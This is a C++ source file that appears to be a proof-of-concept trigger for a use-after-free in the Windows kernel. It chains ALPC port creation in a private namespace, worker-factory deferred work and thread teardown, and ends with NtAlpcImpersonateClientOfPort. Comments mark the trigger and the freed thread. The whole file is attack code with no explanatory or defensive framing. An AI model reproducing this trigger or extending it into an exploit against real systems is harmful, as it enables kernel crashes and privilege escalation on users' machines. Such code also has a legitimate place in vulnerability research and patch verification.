#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <WinNT.h>

#pragma comment(lib,"ntdll.lib")

HANDLE client_handle;


int start_routine() {
    return 0;
}

void thread_NtWaitForWorkViaWorkerFactory(HANDLE worker_factory_handle) {
    FILE_IO_COMPLETION_INFORMATION file_io_completion_information;
    WORKER_FACTORY_DEFERRED_WORK worker_factory_deferred_work;
    PORT_MESSAGE port_message;
    ULONG packets_returned;

    memset(&file_io_completion_information, 0, sizeof(file_io_completion_information));
    memset(&port_message, 0, sizeof(port_message));

    port_message.u1.s1.TotalLength = 40;
    port_message.u1.s1.DataLength = 0;

    worker_factory_deferred_work.AlpcSendMessage = &port_message;
    worker_factory_deferred_work.AlpcSendMessageFlags = 0x20000;
    worker_factory_deferred_work.AlpcSendMessagePort = client_handle;
    worker_factory_deferred_work.Flags = 1;
    NtWaitForWorkViaWorkerFactory(worker_factory_handle, &file_io_completion_information, 
        1, &packets_returned, &worker_factory_deferred_work);
}


int main()
{
    HANDLE private_namespace_handle;
    HANDLE connection_port_handle;
    HANDLE server_handle;

    HANDLE io_completion_handle;
    HANDLE worker_factory_handle;
    HANDLE thread_handle;

    ALPC_PORT_ATTRIBUTES alpc_port_attributes;
    UNICODE_STRING portname;
    PORT_MESSAGE port_message;

    OBJECT_ATTRIBUTES object_attributes;
    memset(&object_attributes, 0, sizeof(object_attributes));
    object_attributes.Length = 0x30;

    SECURITY_DESCRIPTOR security_descriptor;
    memset(&security_descriptor, 0, sizeof(security_descriptor));
    security_descriptor.Revision = 1;
    security_descriptor.Control = 0xC0;
    object_attributes.SecurityDescriptor = &security_descriptor;
    object_attributes.SecurityQualityOfService = 0;

    UNICODE_STRING boundary_descriptor_name;
    PVOID boundary_descriptor;

    RtlInitUnicodeString(&boundary_descriptor_name, L"test");
    boundary_descriptor = RtlCreateBoundaryDescriptor(&boundary_descriptor_name, 0);
    
    NtCreatePrivateNamespace(&private_namespace_handle, 0x1000F, &object_attributes, boundary_descriptor);
    RtlDeleteBoundaryDescriptor(boundary_descriptor);

    RtlInitUnicodeString(&portname, L"TestPort");
    object_attributes.Length = 0x30;
    object_attributes.RootDirectory = private_namespace_handle;
    object_attributes.ObjectName = &portname;
    object_attributes.Attributes = 0x40;
    object_attributes.SecurityDescriptor = &security_descriptor;
    memset(&alpc_port_attributes, 0, sizeof(alpc_port_attributes));
    alpc_port_attributes.MaxMessageLength = 65280i64;
    NtAlpcCreatePort(&connection_port_handle, &object_attributes, &alpc_port_attributes);

    object_attributes.Length = 0x30;
    object_attributes.RootDirectory = private_namespace_handle;
    object_attributes.Attributes = 0x40;
    object_attributes.ObjectName = &portname;

    memset(&alpc_port_attributes, 0, sizeof(alpc_port_attributes));
    alpc_port_attributes.MaxMessageLength = 0xFF00;
    alpc_port_attributes.SecurityQos.ContextTrackingMode = 1;
    alpc_port_attributes.SecurityQos.ImpersonationLevel = SecurityImpersonation;
    alpc_port_attributes.Flags = 0x30000;
    NtAlpcConnectPortEx(&client_handle, &object_attributes, NULL,
        &alpc_port_attributes, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

    memset(&port_message, 0, sizeof(port_message));
    port_message.u1.s1.TotalLength = 0x28;
    NtAlpcSendWaitReceivePort(connection_port_handle, NULL,
        NULL, NULL, &port_message, NULL, NULL, NULL);


    NtAlpcAcceptConnectPort(&server_handle, connection_port_handle, 
        0x10000, NULL, NULL, NULL, &port_message, NULL, 1);


     // trigger

    NtCreateIoCompletion(&io_completion_handle, IO_COMPLETION_ALL_ACCESS, NULL, NULL);

    NtCreateWorkerFactory(&worker_factory_handle, 0x10000000, NULL, 
        io_completion_handle, GetCurrentProcess(), &start_routine, NULL, 1, NULL, NULL);

    thread_handle = CreateThread(NULL, NULL, 
        (LPTHREAD_START_ROUTINE)thread_NtWaitForWorkViaWorkerFactory, worker_factory_handle, NULL, NULL);
    NtSetIoCompletion(io_completion_handle, NULL, NULL, NULL, NULL);

    WaitForSingleObject(thread_handle, 0xFFFFFFFF);

    NtClose(worker_factory_handle);

    memset(&port_message, 0, sizeof(port_message));
    port_message.u1.s1.TotalLength = 0x28;
    NtAlpcSendWaitReceivePort(connection_port_handle, NULL, NULL,
        NULL, &port_message, NULL, NULL, NULL);

    // Thread is freed.
    NtClose(thread_handle);

    // :( UAF
    NtAlpcImpersonateClientOfPort(server_handle, &port_message, 0);

}